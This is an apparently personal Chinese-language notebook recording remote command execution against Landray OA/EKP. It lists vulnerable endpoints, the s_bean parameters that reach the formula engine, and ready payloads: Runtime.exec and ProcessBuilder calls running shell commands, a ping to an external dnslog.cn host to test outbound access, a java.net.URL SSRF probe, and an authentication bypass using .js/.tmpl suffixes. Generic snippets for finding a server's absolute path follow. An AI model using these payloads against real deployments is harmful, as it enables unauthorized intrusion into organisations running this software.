蓝凌OA远程RCE记录

1前言

知道存在命令执行的接口大致如下:

1
2
3
4
5
data/sys-common/treexml.tmpl
sys/common/dataxml.jsp
data/sys-common/datajson.js
data/sys-common/treexml.js
ekp/data/sys-common/dataxml.tmpl

2.流程

目前基本都需要授权才能访问蓝凌OA的接口,未授权需要考虑存在sysUiComponent 接口的 replaceExtend 方法,把 dataxml.jsp后台命令执行漏洞转化为前台命令执行漏洞,详细原理以及操作可以参考蓝凌EKP 远程代码执行漏洞分析 | Le1a的菜园坝某凌 EKP 前台远程命令执行漏洞分析-先知社区的两个链接

1
2
3
4
5
6
s_bean=sysFormulaSimulateByJS&script=
s_bean=sysFormulaValidate&script=


#/data/sys-common/treexml.tmpl的post可能存在/ekp/data/sys-common/dataxml.tmpl
s_bean=ruleFormulaValidate&script=

s_bean=sysFormulaSimulateByJS是一个参数,它的作用是用于指定服务端要执行的一段 Java 代码。

恶意代码分析—蓝凌OA - ReadPond的小屋

常见的 s_bean 参数

s_bean 用途 / 说明
sysFormulaSimulateByJS 前端公式模拟/执行(通过 JS 脚本走公式引擎的模拟执行)
sysFormuladata / sysFormulaValidate 用于触发表单公式验证逻辑(不是模拟执行,而是正式走后端公式校验)
sysFormulaValidate 推荐用于后端严格验证公式值(非模拟结果)
sysFormularun 可能用于触发后端执行公式生成/计算数据(具体根据版本有所不同)
sysMetaDataService 有的版本中用于获取元数据/字段定义等(可用于动态表单渲染)
sysFormDataSave / sysFormDataLoad 表单数据保存或读取操作
sysCheckData 通用数据校验 Bean(用于触发系统级字段校验)

dnslog探测(是否出网):

1
function test(){return java.lang.Runtime};r=test();r.getRuntime().exec("ping -c 4 uftj1t.dnslog.cn")&type=1

1.如果如上公式表达式中未禁用Runtime.execProcessBuilder可以直接利用exec直接写代码执行,例如:

1
function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec("whoami")
1
new java.lang.ProcessBuilder(["/bin/sh","-c","whoami"]).start();

2.如果禁用Runtime.execProcessBuilder,且其他方法也零散的禁用了一些可以采用java网络的类进行内网探测或者SSRF攻击,测试代码如下

1
u = new java.net.URL("xxxxx");u.openConnection()

有关事项:权限绕过

参考奇安信攻防社区-某OA 历史RCE分析

在springmvc版本<5.3之前后缀匹配模式参数useSuffixPatternMatch默认值为true

则访问xx.jsxx.tmpl等静态资源后缀可以进行权限绕过,访问漏洞路由

相关代码

如何获取服务器的绝对路径 • Worktile社区

使用Java获取服务器的绝对路径

1
String absolutePath = getClass().getProtectionDomain().getCodeSource().getLocation().getPath();

使用PHP获取服务器的绝对路径

1
$absolutePath = $_SERVER['DOCUMENT_ROOT'];

使用Node.js获取服务器的绝对路径

1
2
const path = require('path');
const absolutePath = path.resolve(__dirname);

使用ASP.NET获取服务器的绝对路径

1
string absolutePath = Server.MapPath("~");

使用Python获取服务器的绝对路径

1
2
import os
absolute_path = os.path.dirname(os.path.abspath(__file__))